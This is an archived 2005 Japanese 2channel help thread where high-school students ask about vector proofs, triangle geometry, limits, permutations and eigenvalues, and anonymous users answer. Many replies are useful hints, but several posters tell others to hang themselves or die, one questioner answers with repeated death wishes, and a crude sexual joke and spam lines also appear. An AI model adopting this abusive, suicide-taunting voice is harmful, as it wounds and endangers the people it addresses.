【sin】高校生のための数学の質問スレPART32【cos】

このエントリーをはてなブックマークに追加
1 ：テンプレート：
夜､明日提出の宿題をやっているとき

(･∀･)やった!あと1問!
・
・
・
(ﾟДﾟ)ﾎﾟｶｰﾝ
(ﾟДﾟ)ﾊｧ?ﾅﾆｺﾉﾓﾝﾀﾞｲ?
ヽ(`Д´)ﾉｳﾜｧｧﾝ!!ﾜｶﾝﾅｲﾖｫ!!!

･･･てな時に､頼りになる質問スレです｡

・長い分母分子を含む分数はきちんと括弧でくくりましょう。
　　（× x+1/x+2　；　 ○((x+1)/(x+2)) ）
・質問者は名前を騙られたくない場合、トリップを付けましょう。
　　（トリップの付け方は自分で探すこと）
・質問者はあらゆる回答者に敬意を表しましょう。（荒らしはスルーでおながい）
・質問者は回答者がわかるように問題を書くようにしましょう。

数学＠2ch掲示板用 掲示板での数学記号の書き方例と一般的な記号の使用例
http://members.at.infoseek.co.jp/mathmathmath/

前スレ
【sin】高校生のための数学の質問スレPART31【cos】
http://science3.2ch.net/test/read.cgi/math/1119981094/l50

大学受験板の姉妹スレ
数学の質問スレ【大学受験板】part44
http://etc4.2ch.net/test/read.cgi/kouri/1119202247/l50
2 ：１３２人目の素数さん：2005/07/12(火) 21:46:11
「解答」だけがほしいあなたへ
答えを求めるだけなら、既に出題者（orその配下）が解いていますから、あなたが解く必要は何もありません。
それとも、質問者が自分じゃ何もできない君になって自分より先に失業者に回って欲しい気がしたら、
解答丸抱えして代わりに答えてあなたを能無しにしてあげるという新手の蹴落とし工作があるかも知れません（ｗ

そもそも２ｃｈはそれぞれの板のテーマの話をするところであって、質問するのがメインじゃない。
でも、「２ｃｈの人たちになら、この問題解決してくれるかもしれない」
と思ってここを訪れた人のために、
「善意で」質問専用スレを用意している

なのに「質問スレだと解答が遅い」「単発スレのほうがレスが早く着く」
などのふざけた理由で単発スレを立てるやつがいる。
もし、単発スレに解答していたとしたら、
勘違い房が
「やっぱ単発スレのほうがすばやく解答もらえるじゃないか」
と感じて1日10個も20個も同じ内容の質問スレがたってしまい、
（当然5分前に同じ内容の単発スレが立っていたとしても見つけられないだろう。
　そもそもこういうアフォは過去ログみないし）
そのうち全部のスレが意味のない質問スレで埋め尽くされてしまうだろう。
そうなればパート○とか続いている名スレすらもどんどんDAT落ちしてしまうだろう。
ということぐらい5秒考えればわかりそうなもんだろ。

その他関連スレ
くだらねぇ問題はここへ書け ver.3.14(36桁略)7169
http://science3.2ch.net/test/read.cgi/math/1118890801/l50
◆わからない問題は絵で書いて質問◆
http://science3.2ch.net/test/read.cgi/math/1040698718/l50
　 　救済スレ2nd　 　
http://science3.2ch.net/test/read.cgi/math/1095491277/l50
雑談はここに書け！【２２】
http://science3.2ch.net/test/read.cgi/math/1116320400/l50
3 ：１３２人目の素数さん：2005/07/12(火) 21:49:21
注意
マルチな人の質問には答えられません。
ごめんなさい。
4 ：１３２人目の素数さん：2005/07/12(火) 22:03:48
糞スレ立てんなｺﾞﾙｧ!!!(ﾟДﾟ####)
5 ：１３２人目の素数さん：2005/07/12(火) 22:08:27
ベクトルです
三角形ABCにおいて、2辺AB,ACの中点をそれぞれM,Nとするとき、MN〃BCかつ2MN=BCであることを証明せよ
2MN=BCは2↑MN=↑BCってことでいえると思うのですが平行のところがどうすればいいかわかりません
よろしくお願いします
6 ：１３２人目の素数さん：2005/07/12(火) 22:09:34
重心がＧである三角形ＡＢＣがある。この三角形の内心Ｉは点Ｇを
通って辺ＢＣに平行な直線上にある。辺ＢＣの中点をＭ、直線ＡＩと
辺ＢＣの交点をＤとするとき、（ＢＤ）／（ＡＢ）を求めよ。
お願いします。
7 ：１３２人目の素数さん：2005/07/12(火) 22:09:40
なんでこんなもんベクトルつかうん？
中点連結定理
8 ：１３２人目の素数さん：2005/07/12(火) 22:11:09
2MN=BCすなわちMNはBCに平行。教科書読め
9 ：１３２人目の素数さん：2005/07/12(火) 22:12:16
先に向こう埋めろ
10 ：5：2005/07/12(火) 22:13:01
すみません
中点連結定理は知ってますが改めてベクトルで証明しろってことです
11 ：１３２人目の素数さん：2005/07/12(火) 22:13:25
>>8
12 ：１３２人目の素数さん：2005/07/12(火) 22:14:12
とても簡単な問題だと思うのですが・・・
△ABCについて、AB=AC⇔∠B=∠C
これを証明してこいと言われましたが、数学が全くできない
私には分かりません。どこに補助線を引くのか、どんな定理を
使うのか、とにかく分かりません(証明の仕方忘れました)。
13 ：5：2005/07/12(火) 22:14:28
平行っていうことは中点連結定理を使わずにベクトルではいうことはできないのですか
14 ：１３２人目の素数さん：2005/07/12(火) 22:14:52
>>12
スレタイ嫁
15 ：１３２人目の素数さん：2005/07/12(火) 22:15:08
>>12
直角三角形の合同条件ぐらいすぐに思い出せ。
16 ：１３２人目の素数さん：2005/07/12(火) 22:15:20
BCの中点をMとする
17 ：１３２人目の素数さん：2005/07/12(火) 22:15:56
>>13
アホか>>8嫁。読めないなら首吊って氏ね。
18 ：１３２人目の素数さん：2005/07/12(火) 22:16:59
>>8　教科書読め
19 ：5：2005/07/12(火) 22:26:43
>>17
2MN=BCすなわちMNはBCに平行
これは中点連結定理から言えることですよね？
中点連結定理を使わずにベクトルでMNはBCに平行を示したいんです
20 ：8：2005/07/12(火) 22:28:02
矢印かくのがめんどいんだよ。そのくらい補完してくれ

2↑MN=↑BCすなわちMN↑はBC↑に平行。教科書読め
21 ：１３２人目の素数さん：2005/07/12(火) 22:28:19
アホめ
22 ：１３２人目の素数さん：2005/07/12(火) 22:29:26
>>19
死ねばいいのに
23 ：１３２人目の素数さん：2005/07/12(火) 22:31:07
ここで教科書読めっていってんのはな、煽りじゃねーんだよ。ホントに教科書
レベルが出来てない奴にいってんの。
24 ：12：2005/07/12(火) 22:42:05
先ほどの問題は、
BCの中点をMとし、△ABMと△ACMで
AB=AC BM=CM AM=AM
で合同
合同な三角形の対応する角だから∠B=∠C
でよろしいのでしょうか。うっすら中学の記憶が戻ってきました。
しかし、これの逆ができません。
25 ：漏れも狐にツママレタような思いだ：2005/07/12(火) 22:42:55
>>6　条件よりAI：ID=2：1
Bから内心Iへ直線を引き、ACとの交点をEとする。
角の二等分線について
AB：AC=BD：DC
AE：EC=AB：BC
メネラウスの定理より
(AE/EC)*(CB/BD)*(DI/IA)=1
⇔(AB/BC)*(CB/BD)*(1/2)=1
⇔AB/BD=2
26 ：１３２人目の素数さん：2005/07/12(火) 22:49:25
>>24頂角Aの二等分線ttp://www.bekkoame.ne.jp/ro/mikilla/math/teiri2-1.pdf
27 ：１３２人目の素数さん：2005/07/12(火) 22:51:07
⇔は
(x^2+5x+6)=0
⇔(x+2)(x+3)=0
のように使う事は出来るのでしょうか？
28 ：１３２人目の素数さん：2005/07/12(火) 22:53:04
＞＞２５
迅速な対応ありがとうございました。ｍ（＿＿）ｍ
29 ：１３２人目の素数さん：2005/07/12(火) 22:53:55
>>27
おｋ
30 ：１３２人目の素数さん：2005/07/12(火) 22:56:03
>>27
⇔は同値を表す
命題として考えると解りやすい
31 ：１３２人目の素数さん：2005/07/12(火) 23:02:17
(-(1/2)x^2)*e^(((1/2)x^2)-x)
の式をはもっと簡単になりますか？

eのほうがわかりづらいので言葉で示すと
イーの、二分の一エックス二乗マイナスエックスです。
32 ：１３２人目の素数さん：2005/07/12(火) 23:07:41
>>29
>>30
THX!先生に否定されたから不安だったよ…
33 ：１３２人目の素数さん：2005/07/12(火) 23:10:20
おい。どんあDQN先生だよ。ホントにそれが否定されたのか？
脳内変換が入ってないか？
34 ：１３２人目の素数さん：2005/07/12(火) 23:10:45
先生と匿名掲示板の無責任な発言のどちらを信じるんだよ……。
自分に都合のよい意見だけを聞かないで客観的に判断しなさい。
35 ：１３２人目の素数さん：2005/07/12(火) 23:14:00
ぽっくんは悪くないや～い、脳内お花畑に一票
36 ： ◆uhYVAjZNX. ：2005/07/12(火) 23:24:27
数Ａの問題です。
ＡＢ＝ＡＣ＝６の直角二等辺三角形ＡＢＣにおいて、辺ＡＢのＢの方への
延長上にＢＤ＝２となる点Ｄをとる。また円Ｏを２点Ａ、Ｂを通る円とする。
円Ｏの大きさが変わるとき、点Ｄから円Ｏに引いた接線のうち、直線ＡＤに関して
点Ｃと同じがわにあるものの接点をＰとする、点Ｐから直線ＡＢに下ろした
垂線と直線ＡＢの交点をＨとする。
このときＤＰ
ＣＰの最小値とそのときのＡＨを求めよ。

ＤＰは４になりました。
その後がわかりません。
37 ：5：2005/07/12(火) 23:34:32
>>17>>22
てめえが死ねよ
結局てめーらもこの程度の問題がわかんねーんだろ？
答えられねーなら偉そうな面すんなボケ
死ね
俺の何処に非があるか言ってみろ？
何もねーだろうが
さっさと死ねよ
38 ：１３２人目の素数さん：2005/07/12(火) 23:36:12
稚魚が釣れやがった。
39 ：１３２人目の素数さん：2005/07/12(火) 23:36:30
>>37
アホか。
40 ：１３２人目の素数さん：2005/07/12(火) 23:37:29
教　科　書　読　ん　だ　か　？
41 ：5：2005/07/12(火) 23:38:38
じゃあどこが間違ってるか指摘してみろよ
できねーんだろ？
⇒俺に非がない⇔お前らが間違ってる
死ねよボケ
回答できねえくせに回答者ぶるなよ
死ね
42 ：１３２人目の素数さん：2005/07/12(火) 23:40:12
もう一度聞いとくか

　　　教　　科　　書　　読　　ん　　だ　　か　　？
43 ：5：2005/07/12(火) 23:40:45
>>40
結局その一言だけで他になにもいえねーんだろ？
何の教科書だよ？
数Ⅰ？数A？数Ⅱ？数B？数Ⅲ？数C？
それすらもいえねーじゃん
結果として負けてるのはおまえ
まぁそのひとことで勝ったような気持ちになれるなら一生それでいいよ
44 ：１３２人目の素数さん：2005/07/12(火) 23:41:49
>>43
B嫁
45 ：１３２人目の素数さん：2005/07/12(火) 23:42:11
あんまり頑張りすぎると、釣り宣言でごまかせなくなるぞ。いいのか？ん？
46 ：5：2005/07/12(火) 23:43:02
この質問に該当する教科書の項目はどこだって
それすらもわかんねーんだろ？
わからないんだろ？
もういちど訊く
わからないんだろ？
駄目じゃん
俺は調べればわかるけどさ
なんでそれでどうどうと回答者としていられるわけ？
頭おかしいんじゃない？
数学やる前になんかやることあるんじゃない？
47 ：１３２人目の素数さん：2005/07/12(火) 23:44:14
つーか、>>8が答えてくれてるのに、コイツは何でこんなに煽ってるんだ？
真正の馬鹿なのか？
48 ：１３２人目の素数さん：2005/07/12(火) 23:44:46
>>46
> この質問に該当する教科書の項目はどこだって

ベクトル
49 ：5：2005/07/12(火) 23:46:14
答えになってねー答え書いて認められんの？
回答って誰かに見ていただくものなんじゃないの？
そんなこともわからないんですか？
よく今までやってこれましたね
50 ：１３２人目の素数さん：2005/07/12(火) 23:46:35
この圧倒的な万能感、無敵感ｲｲﾖｰｲｲﾖｰ
まさに真正の厨房だ
51 ：１３２人目の素数さん：2005/07/12(火) 23:47:10
まあ、本人かどうか分からんし、虫しとけ。
>>36ABの垂直二等分線上に円の中心が来る。この線とACは平行。
52 ：１３２人目の素数さん：2005/07/12(火) 23:48:19
こ
そ
わ
も
わ
駄
俺
な
頭
数

だいぶノイズが入ってるな。
　これはもう駄目な俺の数学？
53 ：１３２人目の素数さん：2005/07/12(火) 23:48:46
真正だなぁ……。
ベクトルの一方が他方の定数倍なんだから平行って言えてるジャン。
こんなの教科書のかなり最初のほうに書いてあるぜ？
54 ：5：2005/07/12(火) 23:49:14
おまえ等が教科書読めっていうだけスレの無駄
なんの価値もない
意味がない
全く意味が無いし
そんなこといつまでやってるつもり？
教科書読めしか言えない奴は何を自信に回答者としてここにいるの？
頭おかしいの？
死んだほうがいいんじゃない？
55 ：１３２人目の素数さん：2005/07/12(火) 23:49:53
>>8
>>20

これで完全回答。減点できる先生はいないよ
56 ：5：2005/07/12(火) 23:51:15
>>53
そうですか
ありがとうございます
あなたのような回答者が増えるといいですね
このスレの回答者は頭が弱いくせに自信満々な奴ばっかですからね
そんな回答者が一刻も早く死んでくれることを願います
ありがとうございました
57 ：１３２人目の素数さん：2005/07/12(火) 23:51:59
お
な
意
全
そ
教
頭
死

オナニーしながら吹く上司？
58 ：１３２人目の素数さん：2005/07/12(火) 23:54:24
おいおい。>>8が言ってることは>>53だぜ・・・
優しい言葉以外は拒絶の赤ちゃんかよ
59 ：53：2005/07/12(火) 23:54:27
>>56
だからさっきから>>8嫁って言ってやってたんだけど。
教科書も読み返さないってのはどうなんだか。
60 ：53：2005/07/12(火) 23:58:04
>>56
ついでに言っておいてやるが、>>17も>>22も>>47も俺だから。
61 ：１３２人目の素数さん：2005/07/12(火) 23:58:56
今ごろ憤死でもしてるのか
62 ：１３２人目の素数さん：2005/07/13(水) 00:00:28
>>36
CP + PD ≧ CD (三角不等式)
CD = 10, PD = 4 (きみが求めたやつ) だから、
CP ≧ 10 -4 = 6
(等号は、P が線分 CD 上に乗っかってるときに成立)

そのような P が取れるかというと、まあ取れるよね。
63 ：１３２人目の素数さん：2005/07/13(水) 00:01:01
なんにせよ>>56がこいつ(=>>5)の低脳さを如実にあらわしてるな
64 ：１３２人目の素数さん：2005/07/13(水) 00:02:03
赤ちゃんプレイﾊｧﾊｧ
65 ：１３２人目の素数さん：2005/07/13(水) 00:14:44
俺も５が糞に一票
66 ：１３２人目の素数さん：2005/07/13(水) 00:16:36
どう考えたって5が100%正しい
ここの回答者は糞すぎる
ここで5が間違ってると思う奴は今すぐ精神病院に入院したほうがいい
67 ：１３２人目の素数さん：2005/07/13(水) 00:17:25
>>66
名前欄入れ忘れてるよ。厨房ﾀﾝ
68 ：１３２人目の素数さん：2005/07/13(水) 00:17:33
>>66
工作乙
69 ：１３２人目の素数さん：2005/07/13(水) 00:18:18
ここは図画工作教室じゃないんだよ
70 ：１３２人目の素数さん：2005/07/13(水) 00:18:23
>>5はここの回答者の糞っぷりを叩こうとしただけでも十分評価できる
71 ：１３２人目の素数さん：2005/07/13(水) 00:19:12
>>70
工作乙
72 ：１３２人目の素数さん：2005/07/13(水) 00:19:20
とりあえずここの回答者は糞
自分を何様だと思ってるんだろう
頭弱いのに
>>5は完璧に正しい
73 ：１３２人目の素数さん：2005/07/13(水) 00:19:25
>>69>>70
池沼は死んだほうがいいよ
74 ：１３２人目の素数さん：2005/07/13(水) 00:20:09
>>73
自爆ですか？ﾌﾟｷﾞｬｰ
75 ：１３２人目の素数さん：2005/07/13(水) 00:20:16
>>72
m9（^Д^）ﾌﾟｷﾞｬｰ
76 ： ◆uhYVAjZNX. ：2005/07/13(水) 00:20:36
＞＞５１、６２
助かりました。感謝です。
77 ：１３２人目の素数さん：2005/07/13(水) 00:21:04
>>72
工作乙
78 ：１３２人目の素数さん：2005/07/13(水) 00:21:53
>>5
お前よりは１００％賢い

池沼は氏ね
79 ：１３２人目の素数さん：2005/07/13(水) 00:24:29
100%賢いってことは同じってことじゃん
ここの回答者って文系ばっかだろ
>>5が正しいってこと理解できなければ人間じゃないと思う
その頭の悪さはもう危ないと思う
80 ：１３２人目の素数さん：2005/07/13(水) 00:25:11
名前欄入れて反論しようね、厨房ﾀﾝ
81 ：１３２人目の素数さん：2005/07/13(水) 00:26:20
＞100%賢いってことは同じってことじゃん
これだから池沼は（ ´,_ゝ`）ﾌﾟｯ　
82 ：１３２人目の素数さん：2005/07/13(水) 00:27:25
で。
　　教　　科　　書　　読　　ん　　だ　　か　　？
83 ：１３２人目の素数さん：2005/07/13(水) 00:28:46
かまってないでまだ答えてない質問にさっさととりかかりなさいおまいら
84 ：１３２人目の素数さん：2005/07/13(水) 00:28:57
だからDQN大の諸君はここで解答するべきではないとあれほど･･･。
85 ：１３２人目の素数さん：2005/07/13(水) 00:30:26
で、
　　君　　は　　ど　　こ　　の　　3　　流　　大　　学？
86 ：１３２人目の素数さん：2005/07/13(水) 00:31:13
京大にストレートで入ったけど？
87 ：１３２人目の素数さん：2005/07/13(水) 00:31:23
大学生じゃありませんが、何か？
88 ：１３２人目の素数さん：2005/07/13(水) 00:32:06
なんか、すごい入れ食いだな
89 ：１３２人目の素数さん：2005/07/13(水) 00:32:56
だから糞スレは立てるなとあれほど
90 ：1：2005/07/13(水) 00:32:58
質問まだ？
91 ：１３２人目の素数さん：2005/07/13(水) 00:34:20
>>83
ねーから
92 ：１３２人目の素数さん：2005/07/13(水) 00:36:30
今はまたーり釣り釣られの進行だからいいけど
テンプレに解答カキコ資格も追加すべきだとは平素から思ってますが。
93 ：１３２人目の素数さん：2005/07/13(水) 00:37:59
へぇーどうやって資格要件を確認すんの？
94 ：１３２人目の素数さん：2005/07/13(水) 00:39:09
ID出て欲しい
95 ：１３２人目の素数さん：2005/07/13(水) 00:39:47
さすが脳内京大生
96 ：１３２人目の素数さん：2005/07/13(水) 00:47:44
お取り込み中すみません
行列の固有値固有ベクトルについてです。

⊿(A-λE)=0 ⇔ (0, 0)でない固有ベクトルは存在しない

という主旨の解答で大減点され
「必要十分ではない」からだと添削されました。
本当でしょうか？
よろしくお願いします。
97 ：１３２人目の素数さん：2005/07/13(水) 00:48:27
うそ
98 ：１３２人目の素数さん：2005/07/13(水) 00:53:13
？？？わけわからん

そもそも固有ベクトルは零ベクトルではない
99 ：１３２人目の素数さん：2005/07/13(水) 00:57:07
>>96
用語の使い方がなってない。
君が固有ベクトルを語るのは早すぎるんだよ。
100 ：１３２人目の素数さん：2005/07/13(水) 00:58:22
高校で固有値固有ベクトルねぇ……SSHも考え物だな
101 ：１３２人目の素数さん：2005/07/13(水) 00:58:43
>>96
書いてある内容が意味不明で大減点されたものだと考えるのが妥当
102 ：１３２人目の素数さん：2005/07/13(水) 00:59:42
意味不明瞭だから減点せざるを得ない、というのを
必要十分でない、と優しく諭してくれたのだろう
103 ：１３２人目の素数さん：2005/07/13(水) 01:00:15
>>100
バカほど基礎をないがしろに背伸びするからな
104 ：９６：2005/07/13(水) 01:01:33
言葉足らずですみません。
「･･･をみたす(0, 0)でないベクトル(x, y)は存在しない」と書きました。
105 ：１３２人目の素数さん：2005/07/13(水) 01:03:20
>>104
それ以前の問題だから。
106 ：１３２人目の素数さん：2005/07/13(水) 01:03:33
結局　必要条件だが十分条件ではないことがわからないヤシばかりか。
ちゃんと答えてやれや。
107 ：１３２人目の素数さん：2005/07/13(水) 01:04:13
>>104
固有値と固有ベクトルの定義を書いてご覧、
君がいかに意味不明なことをいってるかわかるはずだ。
108 ：１３２人目の素数さん：2005/07/13(水) 01:04:21
ぜんぜん成り立たないじゃん。0点で当然
109 ：１３２人目の素数さん：2005/07/13(水) 01:05:02
>>106
御自分でどうぞ
110 ：１３２人目の素数さん：2005/07/13(水) 01:08:07
つーか、>>96は実際にはなんて書いたんだよ。
111 ：１３２人目の素数さん：2005/07/13(水) 01:08:59
自分が書いたステートメントを一字一句正確に書いて味噌。
112 ：１３２人目の素数さん：2005/07/13(水) 01:09:36
問題から何から全部かかなきゃ駄目
113 ：１３２人目の素数さん：2005/07/13(水) 01:13:03
>>104
λ,(x,y)に複素数を認めると常に⊿(A-λE)=0を満たすλ,(x,y)が存在するから
114 ：１３２人目の素数さん：2005/07/13(水) 01:27:52
∠Ｃ＝９０度、ＣＡ＝９、ＡＢ＝６√３の△ＡＢＣがある。点Ｐは頂点ＣからＡまで、辺ＣＡ上を毎秒３の速さで進む。点ＱはＰと同時に頂点Ｂを出発し、頂点Ｃまで辺ＢＣ上を毎秒√３の速さで進む。このとき、ＰＱ間の距離の最小値を求めよ

どなたかこれを解いてくれませんか？本当に解らなくて困ってます・・・
誰か本当にお願いします！
115 ：１３２人目の素数さん：2005/07/13(水) 01:30:10
>>114
手っ取り早く回答だけ欲しいならD slenderのサイトの質問掲示板の方が正確だよ。
116 ：１３２人目の素数さん：2005/07/13(水) 01:38:51
今の学生はそうやって乗り切る訳か。どこも難しいところはないのに。
三角形ABCについて、三平方の定理でBC,　正弦定理でsin∠Aを求める。
時刻tのとき、CP=3t,　BQ=√(3)t　三角形APQについて、余弦定理でPQを求める。あとは二次関数の頂点か微分。
117 ：１３２人目の素数さん：2005/07/13(水) 02:16:30
>>115さん
宜しければＵＲＬ貼って欲しいです・・・
>>116さん
ヒント有り難うございます！
118 ：１３２人目の素数さん：2005/07/13(水) 03:34:47
本当に｢手っ取り早く回答だけ欲しい｣奴だったのか。
119 ：１３２人目の素数さん：2005/07/13(水) 03:37:17
xy平面において、Ｏ（０，０）、Ａ（５n、０）、Ｂ（０，３n）とするとき
線分ＡＢ上の格子点の数を求めよ。
という問題で答えが

ＡＢ↑＝（－５ｎ、３ｎ）＝ｎ（－５，３）でありー５と３は互いに素であるから
線分ＡＢ上の格子点Ｐは　ＡＰ↑＝ｋ（－５，３）（ｋ＝０，１、……、ｎ）
で表せる。
すなわち線分ＡＢ上の格子点は　　ｎ＋１個（答）


となってるんですけど、ｎが整数じゃない場合は成り立たなくないですか？
すごい悩んでます。
120 ：１３２人目の素数さん：2005/07/13(水) 03:41:38
nが整数であるというのは
明示的に書いてあるかどうかしりませんが
仮定されていると思いますよー

整数でなくても，格子点を通るのは限られた場合しかないので
考えてみるのもいいかもー
121 ：１３２人目の素数さん：2005/07/13(水) 07:39:03
最近の高校生は
自分の力でどうにかしよう
という気持ちは無いのだろうか…
122 ：１３２人目の素数さん：2005/07/13(水) 07:41:02
ゆとりで4年間赤ちゃんだからな
123 ：１３２人目の素数さん：2005/07/13(水) 09:59:09
最近の高校生には自分の力でどうにかしようという気持ちが無い者が存在する。
任意の最近の高校生は自分の力でどうにかしようという気持ちが無い。

この違いを認識できていない>>121はゆとり教育の弊害を受けていると>>122が申しております。
124 ：１３２人目の素数さん：2005/07/13(水) 11:00:21
最近の高校生には自分の力でどうにかしようという気持ちが無い者が多い。
最近の高校生は例外なく自分の力でどうにかしようという気持ちが無い。

この違いを認識できていない>>123もゆとり教育の弊害を受けているかと。
125 ：１３２人目の素数さん：2005/07/13(水) 11:20:40
mking
126 ：１３２人目の素数さん：2005/07/13(水) 18:11:34
ベクトルです
三角形ABCにおいて、辺BCの中点をMとすると、次の等式が成り立つことを証明せよ
AB^2+AC^2=2(AM^2+BM^2)
ハッブスの定理っていう名前だけ知ってますがわかりません
127 ：１３２人目の素数さん：2005/07/13(水) 18:14:30
ベクトルです
三角形ABCの外心をO、重心をGとし、↑OH=↑OA+↑OB+↑OCとする
(1)3点O,G,Hは、一直線上にあることを示せ
(2)Hは三角形ABCの重心であることを証明せよ
Hの位置をどう求めるかもわかりません
128 ：１３２人目の素数さん：2005/07/13(水) 18:18:10
ベクトルです
三角形OABにおいて辺OAを1:3、辺BCを2:1に内分する点をそれぞれD,Eとし、また、2線分AE,BDの交点をP、線分OPの延長が辺ABと交わる点をFとする
↑OA=↑a,↑OB=↑bとするとき、ベクトル↑OFを↑a,↑bを用いて表せ
またAF:FBを求めよ
129 ：１３２人目の素数さん：2005/07/13(水) 18:19:35
>>126
Mを原点として考えて、MB↑とMA↑で他のベクトルを表してみよう。
そして内積の計算に持ち込む。
とりあえず、これだけのヒントでわかるかな？
130 ：126-128：2005/07/13(水) 18:19:40
よろしくお願いします
幾何がわからなくて情けないです
解析はもうすこし好きなのですが幾何とか線形になるともうどこから切り込んでいいかわからないのです
教科書の例題はなんとか理解できますが自分ではできないのです
どうか助けてください
よろしくお願いします
131 ：１３２人目の素数さん：2005/07/13(水) 18:22:11
>>127 >>128
問題文が微妙に間違ってる気がする。
良く見直してくれ。
132 ：>>126-128：2005/07/13(水) 18:22:18
>>129
ありがとうございます
すみませんがわかりません
内積からどうして左辺=右辺と言えるのでしょうか
133 ：>>126-128：2005/07/13(水) 18:23:29
>>127
すみません(2)訂正です
×重心
○垂心
134 ：>>126-128：2005/07/13(水) 18:25:09
>>128
すみませんこれも訂正です
１行目
×辺BC
○辺OB
135 ：１３２人目の素数さん：2005/07/13(水) 18:46:15
鋭角三角形ＡＢＣの内心をＩとする、Ｉを通ってＣＩに垂直な直線が
辺ＢＣ、ＣＡと交わる点をそれぞれＤ、Ｅとし、辺ＡＢ上にＢＣ並行ＦＥ
となる点Ｆをとり、直線ＦＩと辺ＢＣの交点をＧとする。

△ＣＩＤ≡△ＣＩＥ、△ＩＤＧ≡△ＩＥＦ、△ＢＩＦ≡△ＢＩＧは示せたのですが、
（２）がわかりません

（２）∠ＡＢＣ＝８０°、ＣＩ＝２とする。
このとき∠ＡＩＥ＝？
さらに△ＡＢＣの外心Ｏと、点Ａ、Ｂ、Ｉの４点が、一つの円Ｋの周上にあるとき
∠ＢＡＣ＝？であり、直線ＣＡと円Ｋの交点のうちＡと異なるものをＨとする。
このときＥＡ＊ＥＨ＝？
136 ：１３２人目の素数さん：2005/07/13(水) 19:16:36
lim｛(x-1)^10-1｝/x
x→0
わからないです。
137 ：136：2005/07/13(水) 20:02:38
スイマセン。間違えました。
lim_[x→0]｛(1+x)^10-1｝/x
138 ：１３２人目の素数さん：2005/07/13(水) 20:03:45
展開すれば？
139 ：136：2005/07/13(水) 20:12:20
>>138
やはりそうするしか方法は無いのでしょうか？
140 ：１３２人目の素数さん：2005/07/13(水) 20:14:53
>>130
線形になる？
非線形ならば解けると言うことですか？
意味が分かりませんが
141 ：１３２人目の素数さん：2005/07/13(水) 20:19:44
凸四角形ＡＢＣＤにおいて，対角線ＢＤは∠ＡＢＣの二等分線でも
∠ＣＤＡの二等分線でもないとする．点Ｐは四角形ＡＢＣＤの内部
の点であり，
∠ＰＢＣ＝∠ＤＢＡ，∠ＰＤＣ＝∠ＢＤＡ
を満たす．
四角形ＡＢＣＤが円に内接するための必要条件はＡＰ＝ＣＰである
ことを示せ．
142 ：１３２人目の素数さん：2005/07/13(水) 20:21:24
↑
×必要条件
○必要十分条件
143 ：１３２人目の素数さん：2005/07/13(水) 20:28:24
必要十分条件を示すより
必要条件を示す方が数学やってる気になれるかも
144 ：１３２人目の素数さん：2005/07/13(水) 20:34:42
△ABCの辺BC上に点Dがあり、
AD=6、BD=3、CD=2、∠ADC=60°を満たしている。
△ABCの面積を求めよ。
145 ：１３２人目の素数さん：2005/07/13(水) 20:39:22
>>144
図書くとかしろ馬鹿
146 ：136：2005/07/13(水) 20:43:03
誰も分かりませんか？
147 ：１３２人目の素数さん：2005/07/13(水) 20:46:06
nが２より大きい自然数のとき
a^n+b^2=c^nを満たす自然数a,b,cは存在しないことを示せ

学校の宿題です。
簡単そうですが意外と解けません
誰か解けますか？
148 ：１３２人目の素数さん：2005/07/13(水) 20:46:11
>>146
展開しろって言ってるだろうがこのクズが。
149 ：１３２人目の素数さん：2005/07/13(水) 20:47:21
>>146
二項定理は知ってますかー
展開して普通に計算してみて下さいー

面倒くさかったら10を2,4,6とかに変えて
計算してみたら検討がつくかもー
150 ：１３２人目の素数さん：2005/07/13(水) 20:47:25
>>147
またコレか。あんたらプリンストン大の院生ですか？
151 ：136：2005/07/13(水) 20:53:31
>>148
ﾃﾗｷﾓｽｗｗｗｗｗ
>>149
二項定理ってnCrのやつですよね。アドバイス有難うございました。
152 ：１３２人目の素数さん：2005/07/13(水) 20:59:02
>>151
結局普通に展開するしかないと思いますですー
あなたが悪いかもですー

ちなみに検討じゃなくて見当でしたー
153 ：１３２人目の素数さん：2005/07/13(水) 21:00:30
J,A,P,A,N,E,S,Eという8文字を作って順列を作る。JはPより左側に、PはNより左側にならなければならない。
っていう問題なのですが、{(8C3/3！)*5！}/2*2　でいいですよね・・？
それとも8P3を使うのでしょうか？
154 ：１３２人目の素数さん：2005/07/13(水) 21:02:08
>>151
ヒント：パスカルの三角形
155 ：136：2005/07/13(水) 21:03:02
>>152
ごめんなちゃい。でも解けたので良かったでしゅ。
156 ：１３２人目の素数さん：2005/07/13(水) 21:04:16
ﾃﾗｷﾓｽｗｗｗｗｗ
157 ：１３２人目の素数さん：2005/07/13(水) 21:06:32
ﾃﾗｷﾓｽｗｗｗｗｗ
158 ：１３２人目の素数さん：2005/07/13(水) 21:07:47
ﾃﾗﾜﾛｽｗｗｗｗｗ
159 ：１３２人目の素数さん：2005/07/13(水) 21:08:32
ﾃﾗｷﾓｽｗｗｗｗｗ
160 ：１３２人目の素数さん：2005/07/13(水) 21:08:38
ﾃﾗｺﾛｽｗｗｗｗｗ
161 ：１３２人目の素数さん：2005/07/13(水) 21:08:56
ﾃﾗｷﾓｽｗｗｗｗｗ
162 ：１３２人目の素数さん：2005/07/13(水) 21:09:21
ﾃﾗｷﾓｽｗｗｗｗｗ
163 ：１３２人目の素数さん：2005/07/13(水) 21:09:31
nが２より大きい自然数のとき
a^n+b^2=c^nを満たす自然数a,b,cは存在しないことを示せ

学校の宿題です。
簡単そうですが意外と解けません
誰か解けますか？
164 ：１３２人目の素数さん：2005/07/13(水) 21:10:05
>>153
8!/(3!*2!*2!)
165 ：１３２人目の素数さん：2005/07/13(水) 21:10:08
ﾃﾗｷﾓｽｗｗｗｗｗ
166 ：１３２人目の素数さん：2005/07/13(水) 21:10:41
ﾃﾗｷﾓｽｗｗｗｗｗ
167 ：１３２人目の素数さん：2005/07/13(水) 21:12:03
10^12ｷﾓｽ
168 ：１３２人目の素数さん：2005/07/13(水) 21:12:35
ﾃﾗｷﾓｽｗｗｗｗｗ
169 ：１３２人目の素数さん：2005/07/13(水) 21:12:36
>>164
ぉぉ、JPNを全部同じ文字として考えると簡単ですねｗ
ありがとうございました！
170 ：１３２人目の素数さん：2005/07/13(水) 21:13:31
ﾃﾗｷﾓｽｗｗｗｗｗ
171 ：１３２人目の素数さん：2005/07/13(水) 21:15:01
ﾃﾗｷﾓｽｗｗｗｗｗ
172 ：１３２人目の素数さん：2005/07/13(水) 21:16:45
ﾖﾀｷﾓｽｗｗｗｗｗ
173 ：１３２人目の素数さん：2005/07/13(水) 21:18:19
ﾃﾗｷﾓｽｗｗｗｗｗ
174 ：１３２人目の素数さん：2005/07/13(水) 21:18:56
ﾃﾗｷﾓｽｗｗｗｗｗ
175 ：１３２人目の素数さん：2005/07/13(水) 21:31:27
